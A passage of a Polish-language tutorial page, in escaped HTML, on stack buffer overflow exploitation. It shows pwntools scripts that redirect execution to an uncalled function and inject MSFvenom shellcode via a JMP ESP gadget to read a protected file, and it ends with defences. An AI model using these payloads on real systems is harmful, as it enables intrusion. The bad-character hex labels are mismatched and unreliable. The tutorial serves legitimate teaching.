&lt;p>W naszym przypadku offset wynosi 22 bajty, a to oznacza, że aby nadpisać adres powrotny,
trzeba umieścić w buforze 22 znaki plus nowy adres,
do którego chcemy się przenieść po zakończeniu funkcji.&lt;/p>
&lt;h2>Przykład 1: Zmiana przebiegu programu poprzez wywołanie niezamierzonej funkcji&lt;span class="hx:absolute hx:-mt-20" id="przykład-1-zmiana-przebiegu-programu-poprzez-wywołanie-niezamierzonej-funkcji">&lt;/span>
&lt;a href="#przyk%c5%82ad-1-zmiana-przebiegu-programu-poprzez-wywo%c5%82anie-niezamierzonej-funkcji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W pierwszym przypadku naszym celem jest przepełnienie bufora w taki sposób,
żeby zmienić przebieg wykonywania programu. Skupimy się na tym, żeby wywołać funkcję &lt;em>mal_fun()&lt;/em>,
która jak wynika z kodu podanego powyżej, nie jest wywoływana nigdzie w kodzie - ani w funkcji main,
ani w foo. Żeby to zrobić, adres powrotny trzeba zastąpić adresem funkcji,
a żeby uzyskać adres funkcji mal_fun, użyjemy jeszcze raz programu &lt;em>&lt;strong>gdb-pwndbg&lt;/strong>&lt;/em>.&lt;/p>
&lt;p>&lt;img src="./functions.PNG" alt="pwndbg" loading="lazy" />&lt;/p>
&lt;p>Adres funkcji to &lt;em>&lt;strong>0x080491FC&lt;/strong>&lt;/em>. Mając adres i offset, możemy stworzyć payload,
używając krótkiego skryptu w pythonie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pathlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Path&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">padding&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">22&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">fun_addr&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x080491fc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flat&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">padding&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fun_addr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Path&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;payload&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Payload składa się z 22 znaków A (bo taki jest offset) i z adresu funkcji,
do której chcemy przeskoczyć. Używam funkcji &lt;a href="https://docs.pwntools.com/en/stable/util/packing.html#pwnlib.util.packing.flat"target="_blank" rel="noopener">flat&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z biblioteki &lt;a href="https://github.com/Gallopsled/pwntools"target="_blank" rel="noopener">pwntools&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
która ułatwia pisanie exploitów. Funkcja łączy dane w jeden ciąg bajtów,
a adres funkcji automatycznie podaje w formacie little endian
(najmniej znaczący bajt umieszczony jest jako pierwszy,
np. 0x080491fc to w little endian 0xfc910408).&lt;/p>
&lt;p>&lt;img src="./result1.PNG" alt="wynik2" loading="lazy" />&lt;/p>
&lt;p>Payload składa się ze znaków niedrukowalnych (non printable characters),
więc przekazujemy je bezpośrednio z pliku. Jak widać na powyższym screenie,
funkcja mal_fun została wykonana, co potwierdza pomyślne wykonanie ataku.
Zmiana przebiegu programu jest bardzo niebezpieczna, ponieważ
umożliwia atakującemu m.in. ominięcie zabezpieczeń (na przykład poprzez ominięcie logowania)
lub wyciek danych. Błąd, który występuje po wykonaniu funkcji, związany jest z tym,
że funkcja mal_fun nie została wywołana przez instrukcję call,
więc nie ma ustawionego adresu powrotnego.&lt;/p>
&lt;h2>Przykład 2: Wykonanie własnego kodu&lt;span class="hx:absolute hx:-mt-20" id="przykład-2-wykonanie-własnego-kodu">&lt;/span>
&lt;a href="#przyk%c5%82ad-2-wykonanie-w%c5%82asnego-kodu" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Drugi przypadek ataku ma na celu nadpisanie bufora tak, aby uruchomić własny shellcode,
czyli prosty, niskopoziomowy kod programu w postaci kodu maszynowego,
odpowiedzialny za wywołanie powłoki systemowej. Sam atak jest bardzo podobny do pierwszego.
Jedynymi różnicami są inaczej skonstruowany payload i ustawienie
adresu powrotnego tam, gdzie umieścimy własny kod. Celem będzie odczyt
zawartości pliku secret.txt, do którego nie mamy uprawnień.&lt;/p>
&lt;p>&lt;img src="./file.PNG" alt="plik" loading="lazy" />&lt;/p>
&lt;p>Shellcode bardzo często będzie dłuższy niż bufor. Dlatego możemy kod umieścić
za adresem powrotnym. Nie wiadomo jednak, do jakiego adresu się później zwrócić.
Żeby atak był bardziej uniwersalny, możemy zastosować wspomniany wcześniej ROP,
a mówiąc bardziej szczegółowo, instrukcję JMP ESP.
&lt;a href="https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming"target="_blank" rel="noopener">ROP (Return Oriented Programming)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
to sposób łączenia ze sobą małych fragmentów istniejącego kodu (tzw. gadżetów),
żeby zbudować zestaw bardziej zaawansowanych instrukcji wykonujących złośliwy kod.
Jeśli chodzi o JMP ESP, to jest to instrukcja, która przenosi nas do wierzchołka stosu,
gdzie zapisujemy shellcode. Dodatkową zaletą jest to, że atak
staje się bardziej uniwersalny (nie hardkodujemy adresu z payloadem).
Funkcja help_fun została dodana w celu udostępnienia instrukcji jmp esp,
żeby skupić się na wyjaśnieniu podstaw i żeby uprościć przykład. W normalnym
scenariuszu jmp esp może być już wcześniej zawarta podczas wykonywania jakichś
operacji w programie lub w bibliotece współdzielonej (DLL), z której program korzysta.
Co, jeśli instrukcji nie będzie? Wtedy można poszukać JMP EBP i
shellcode umieścić w buforze lub zastosować inne gadżety.&lt;/p>
&lt;p>Użyjemy prostego narzędzia &lt;em>&lt;strong>ropper&lt;/strong>&lt;/em>, żeby przeanalizować nasz program i
znaleźć adres instrukcji przenoszącej nas do ESP.&lt;/p>
&lt;p>&lt;img src="./jump.PNG" alt="jmp esp" loading="lazy" />&lt;/p>
&lt;p>Następnym krokiem jest stworzenie shellcodu, którego użyjemy do ataku.
Narzędzie &lt;a href="https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html"target="_blank" rel="noopener">MSFvenom&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
oferuje szybkie i proste tworzenie payloadu. Określamy jaki rodzaj ataku
chcemy przeprowadzić - w naszym przypadku jest to odczyt z pliku na systemie Linux -
podajemy ścieżkę do pliku, ustalamy jakich znaków chcemy uniknąć w payloadzie
oraz wybieramy format danych wyjściowych. Pewne znaki mogą spowodować
problemy z działaniem shellcodu (tzw. bad characters). Są to m.in.:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>00&lt;/strong> - (null)&lt;/li>
&lt;li>&lt;strong>FF&lt;/strong> - nowy wiersz (\n)&lt;/li>
&lt;li>&lt;strong>0A&lt;/strong> - cofnięcie kursora do początku aktualnej linii tekstu
bez przechodzenia do nowej linii (\r - carriage return)&lt;/li>
&lt;li>&lt;strong>0D&lt;/strong> - zaznacza, że strona tekstu została zakończona i należy przejść do nowej (\f)&lt;/li>
&lt;/ul>
&lt;p>Mają specjalne funkcje i przez to sprawiają, że shellcode przestaje działać.
Należy ich unikać, dlatego użyjemy MSFvenom, żeby zakodował te znaki.&lt;/p>
&lt;p>&lt;img src="./msfvenom.PNG" alt="msfvenom" loading="lazy" />&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pathlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Path&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">offset&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">22&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jmp_esp&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x08049234&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\xb8\xf1\x7b\xf2\x50\xd9\xe8\xd9\x74\x24\xf4\x5a&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x33\xc9\xb1\x15\x31\x42\x14\x83\xea\xfc\x03\x42&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x10\x13\x8e\x19\x66\x6b\x74\xde\x87\x8b\x2c\xef&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x4e\x46\x52\x86\x92\xe0\x50\x99\x14\x10\xde\x7e&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x9d\xe9\x5a\x80\x8e\x09\x9b\x4c\x2e\x80\x59\xf6&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x2b\x92\x5d\x07\x8f\x93\x5d\x07\xef\x5e\xdd\xbf&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\xee\x60\xde\xbf\x4b\x60\xde\xbf\xab\xad\x5e\x57&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x6e\xd2\xa0\x57\x35\x43\x3c\xdd\xdb\xfe\xac\x69&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x57\x2f\x42\xf7\xf4\x5d\xc1\x83\xd4\xd5\x71\x18&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">buf&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x29&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flat&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">asm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;nop&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">offset&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">jmp_esp&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">asm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;nop&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Path&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;payload&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Skrypt tworzący payload jest dość podobny do tego w poprzednim przykładzie.
Składa się z 22 znaków NOP, adresu gdzie znajduje się instrukcja jmp esp,
z 16 znaków NOP i shellcodu wygenerowanego przez MSFvenom.
&lt;a href="https://ir0nstone.gitbook.io/notes/types/stack/nops"target="_blank" rel="noopener">NOP (NO Operation)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> to instrukcja
(w asemblerze jest reprezentowana przez wartość \x90), która jedyne co robi,
to przenosi do następnej instrukcji. Jest często używana podczas tworzenia exploitów,
ponieważ pozwala na większy margines błędu przy ustawianiu
adresu powrotu i odporność na awarię programu.&lt;/p>
&lt;p>&lt;img src="./result2.PNG" alt="wynik3" loading="lazy" />&lt;/p>
&lt;p>Uruchomienie programu i przekazanie zawartości pliku z payloadem pozwoliło
na odczyt pliku, do którego nie mamy uprawnień. W ten sposób możemy spowodować wiele szkód.
Reverse shell, wykonanie programów, stworzenie stagerów, czy wykorzystanie
meterpretera to tylko kilka z wielu zagrożeń,
które oferuje wykonanie kodu poprzez przepełnienie bufora.&lt;/p>
&lt;h2>Ochrona przed przepełnieniem bufora&lt;span class="hx:absolute hx:-mt-20" id="ochrona-przed-przepełnieniem-bufora">&lt;/span>
&lt;a href="#ochrona-przed-przepe%c5%82nieniem-bufora" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dlaczego nadal dochodzi do ataków buffer overflow? Powodów jest kilka:
istnienie starszych programów (legacy code), które używają starych,
niezabezpieczonych funkcji (m.in. strcpy, gets, strcat, scanf),
pomimo że istnieją nowsze, bezpieczniejsze alternatywy.
Niestety, nawet te świeższe funkcje nie są całkowicie odporne na ataki.
Problematyczna jest również złożoność nowych programów
oraz dość zróżnicowane sposoby implementacji samego ataku.&lt;/p>
&lt;p>Skoro już dowiedzieliśmy się, jak w uproszczeniu przebiegają takie ataki
pora, żeby poznać mechanizmy, które przed nimi chronią.
Podczas oceny ryzyka zawsze warto najpierw zadać sobie pytanie, czy nasz system jest narażony
na tego typu ataki. Programy pisane przy użyciu języków niskopoziomowych, takich jak: C, C++, Assembly czy
Fortran są najbardziej podatne ze względu na to, że pozwalają na bezpośrednią
manipulację pamięcią i niewystarczającą kontrolę nad wprowadzanymi danymi.
Programy pisane przy użyciu języków wysokopoziomowych, automatycznie zarządzających pamięcią (Python, Ruby
lub Java) są mniej narażone, co nie znaczy, że są całkowicie odporne.
Warto śledzić doniesienia branżowe i aktualizować podatne systemy, biblioteki.
Podczas pisania kodu należy testować program, aby upewnić się,
czy zbyt duże dane wejściowe są poprawnie obsługiwane.&lt;/p>
&lt;p>Zastosowanie zabezpieczeń jak wcześniej wspomniane Stack Canary, NX czy PIE
jest proste w implementacji i znacząco zwiększa odporność systemu.
W ostatnich latach na popularności zyskuje koncepcja shadow stacks.
Jest to mechanizm, który umieszcza adresy powrotne na specjalnym, osobnym stosie.
Warto wspomnieć również o Relocation Read-Only
(&lt;a href="https://ctf101.org/binary-exploitation/relocation-read-only/"target="_blank" rel="noopener">RELRO&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>),
które umożliwia ustawienie pewnych sekcji programu w pamięci tylko do odczytu.
Ceną obu tych rozwiązań jest zmniejszona wydajność.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Podsumowując, ataki buffer overflow są niezwykle niebezpieczne, jednak podatność
jest trudna do wykrycia i do wykorzystania ze względu na wymaganą wiedzę oraz wiele
mechanizmów zabezpieczających. Warto wziąć je pod uwagę podczas projektowania,
testowania i oceny ryzyka. Choć nie zdarzają się często, nadal
stanowią duże zagrożenie i nie widać, żeby miało to ulec zmianie w najbliższym czasie.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Stack-based_memory_allocation"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Stack-based_memory_allocation&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/www-community/vulnerabilities/Buffer_Overflow"target="_blank" rel="noopener">https://owasp.org/www-community/vulnerabilities/Buffer_Overflow&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cwe.mitre.org/data/definitions/121.html"target="_blank" rel="noopener">https://cwe.mitre.org/data/definitions/121.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://vilya.pl/comptia-buffer-overflows/"target="_blank" rel="noopener">https://vilya.pl/comptia-buffer-overflows/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.geeksforgeeks.org/memory-layout-of-c-program/"target="_blank" rel="noopener">https://www.geeksforgeeks.org/memory-layout-of-c-program/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/www-chapter-pune/meetups/2019/August/Buffer_overflow_by_Renuka_Sharma.pdf"target="_blank" rel="noopener">https://owasp.org/www-chapter-pune/meetups/2019/August/Buffer_overflow_by_Renuka_Sharma.pdf&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ctf101.org/binary-exploitation/stack-canaries/"target="_blank" rel="noopener">https://ctf101.org/binary-exploitation/stack-canaries/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.varonis.com/blog/stack-memory-3"target="_blank" rel="noopener">https://www.varonis.com/blog/stack-memory-3&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ir0nstone.gitbook.io/notes/types/stack"target="_blank" rel="noopener">https://ir0nstone.gitbook.io/notes/types/stack&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.hacksplaining.com/prevention/buffer-overflows"target="_blank" rel="noopener">https://www.hacksplaining.com/prevention/buffer-overflows&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
